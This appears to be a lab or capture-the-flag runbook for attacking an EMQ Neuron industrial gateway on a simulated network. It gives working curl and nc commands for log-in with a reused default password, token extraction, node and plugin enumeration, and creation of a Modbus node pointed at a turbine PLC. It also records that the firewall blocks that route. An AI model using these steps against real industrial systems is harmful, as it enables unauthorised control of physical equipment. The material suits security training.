Runbook: sorting-office¶
Discovery¶
Port 7000 on 10.10.5.11 is not reachable from the internet zone. After gaining a shell on contractors-gate, a TCP probe confirms it is open.
root@contractors-gate:~# nc -zv 10.10.5.11 7000
root@contractors-gate:~# curl -s -X POST http://10.10.5.11:7000/api/v2/ping
Returns {}. The path structure and response format match Neuron, an industrial protocol gateway from EMQ that
bridges southbound device protocols to a northbound MQTT publisher. The ping endpoint answers without a credential.
Authentication¶
Neuron uses JWT tokens. The login endpoint issues them.
root@contractors-gate:~# curl -s -X POST http://10.10.5.11:7000/api/v2/login \
-H 'Content-Type: application/json' \
-d '{"name":"admin","pass":"uupl2015"}'
{"token": "eyJ..."}
The credential admin / uupl2015 works. The password is the same one used on contractors-gate; it appears to be the
site-wide default across DMZ services. Extract the token for subsequent calls:
root@contractors-gate:~# TOKEN=$(curl -s -X POST http://10.10.5.11:7000/api/v2/login \
-H 'Content-Type: application/json' \
-d '{"name":"admin","pass":"uupl2015"}' \
| sed -n 's/.*"token": *"\([^"]*\)".*/\1/p')
Node enumeration¶
Neuron organises devices into nodes. Type 2 is northbound (data destinations, such as MQTT publishers). Type 1 is southbound (data sources, such as Modbus devices).
root@contractors-gate:~# curl -s -H "Authorization: Bearer $TOKEN" \
'http://10.10.5.11:7000/api/v2/node?type=2'
One northbound node appears: uupl-mqtt-north. It publishes to clacks-relay at 10.10.5.12:1883 under the
/neuron/sorting-office/ topic prefix.
root@contractors-gate:~# curl -s -H "Authorization: Bearer $TOKEN" \
'http://10.10.5.11:7000/api/v2/node?type=1'
Returns {"nodes": []}. No southbound device is configured by default. The northbound publisher exists but has nothing to forward yet.
Available drivers¶
root@contractors-gate:~# curl -s -H "Authorization: Bearer $TOKEN" \
http://10.10.5.11:7000/api/v2/plugin
The response lists every installed driver. Southbound plugins of interest here include Modbus TCP, OPC UA, IEC60870-5-104 standard, and DNP 3.0. Each one can be pointed at a device inside a zone that is not directly reachable from the current foothold. Sorting-office may have routing paths that contractors-gate does not.
Adding a southbound device¶
The API accepts new node definitions from any machine that can reach port 7000. Create a node:
root@contractors-gate:~# curl -s -X POST http://10.10.5.11:7000/api/v2/node \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"turbine-plc","plugin":"Modbus TCP"}'
Configure the target address. The Modbus TCP plugin requires all fields even when defaults are acceptable:
root@contractors-gate:~# curl -s -X POST http://10.10.5.11:7000/api/v2/node/setting \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"node":"turbine-plc","params":{"connection_mode":0,"host":"10.10.3.21","port":502,"timeout":3000,"check_header":0,"device_degrade":0,"max_retries":0,"retry_interval":0,"endianess":1,"endianess_64":1,"address_base":1,"interval":20}}'
The node is created and configured without error, but pointing it at the control zone (10.10.3.21) is only useful if
sorting-office can route there. The default gateway is 10.10.5.201 (dmz-ent-fw, the DMZ-to-enterprise router), so any
path to 10.10.3.0/24 runs through enterprise and operational and finally ops-ctrl-fw. A direct probe settles it:
root@contractors-gate:~# nc -zv -w5 10.10.3.21 502
The connection times out rather than being refused: the control firewall drops it. Inbound Modbus to the control zone is
permitted only from the engineering workstation (10.10.2.30), so from the DMZ the poll never connects and nothing
reaches uupl-mqtt-north. The node sits in a connecting state and clacks-relay stays silent on the Neuron prefix. This
is the misconfiguration surface that does not pay off from here: the gateway can be told to reach the PLC, but the
segmentation between the DMZ and the control zone holds. A foothold that can route to 10.10.3.0/24 would be needed to
make the same node poll succeed.
Persistence¶
Configuration changes made through the API persist across service restarts.
What you can know now¶
Access:
Neuron management API at
10.10.5.11:7000, credentialadmin / uupl2015JWT token required for all calls beyond
/ping
Nodes:
Northbound:
uupl-mqtt-north, publishing toclacks-relayat10.10.5.12:1883under/neuron/sorting-office/Southbound: empty by default; Modbus TCP, OPC UA, IEC60870-5-104, DNP3 available
Credential reuse:
uupl2015is the contractors-gate root password and the Neuron admin password